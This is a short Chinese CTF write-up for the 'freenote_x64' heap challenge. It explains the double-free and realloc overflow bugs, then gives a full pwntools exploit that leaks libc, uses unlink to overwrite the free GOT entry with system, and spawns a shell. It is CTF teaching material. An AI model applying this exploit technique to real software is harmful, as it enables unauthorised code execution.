思路
一道unlink,有doublefree漏洞,没有PIE,明显的覆盖got表
edit是一个realloc,可以堆溢出
所以考虑unlink,控制记录chunk表
然后就是一个调试的时候发现的地方chunk0的size为0x120,所以后来realloc时就填充0x120个字节
unlink就是伪造chunk,然后free实现向上合并,从而实现往目标地址写入一个目标地址附近的值
用来实现某一地址写的目的,常用来实现got表的覆写
EXP
from pwn import *
p = process('freenote_x64')
context.log_level = 'debug'
# p = remote('node4.buuoj.cn','27658')
elf=ELF('./freenote_x64')
libc = ELF('./libc-2.23.so')
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
def cmd(choice):
sla('Your choice: ',choice)
def show():
cmd(1)
def add(content):
cmd(2)
sla('Length of new note: ',len(content))
sla('Enter your note: ',content)
def edit(idx,content):
cmd(3)
sla('Note number: ',idx)
sla('Length of note: ',len(content))
sla('Enter your note: ',content)
def delete(idx):
cmd(4)
sla('Note number: ',idx)
def dbg():
gdb.attach(p)
pause()
add('a'*0x80)
add('b'*0x80)#1
add('c'*0x80)
add('d'*0x80)#3
delete(0)
delete(2)
add('xxxxxxxx')#0
add('pppppppp')#2
show()
p.recvuntil('xxxxxxxx')
heap_addr= u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
p.recvuntil('pppppppp')
libc_base =u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00')) - 88 - 0x3C4B20
lg('libc_base',libc_base)
heap_head=heap_addr-0x1940
lg('heap_head',heap_head)
chunk0 = heap_head+0x30
print hex(heap_addr)
delete(1)
delete(2)
delete(3)
#unlink
payload = p64(0x0)+p64(0x81)+p64(chunk0-0x18)+p64(chunk0-0x10)
payload +='a'*0x60
payload += p64(0x80)+p64(0x90)
payload +='a'*0x80+p64(0x90)+p64(0x121)
edit(0,payload)
delete(1)
#free_got->system
# dbg()
free_got=elf.got['free']
payload =p64(4)+p64(1)+p64(0x8)+p64(free_got)
payload +=p64(1)+p64(0x8)+p64(heap_addr)
payload +=p64(1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x120,'\x00')#dbg chunk0
edit(0,payload)
atoi_addr= libc.sym['atoi'] + libc_base
system_addr=libc.sym['system'] + libc_base
edit(0,p64(system_addr))
edit(1,"/bin/sh\x00")
delete(1)
p.interactive()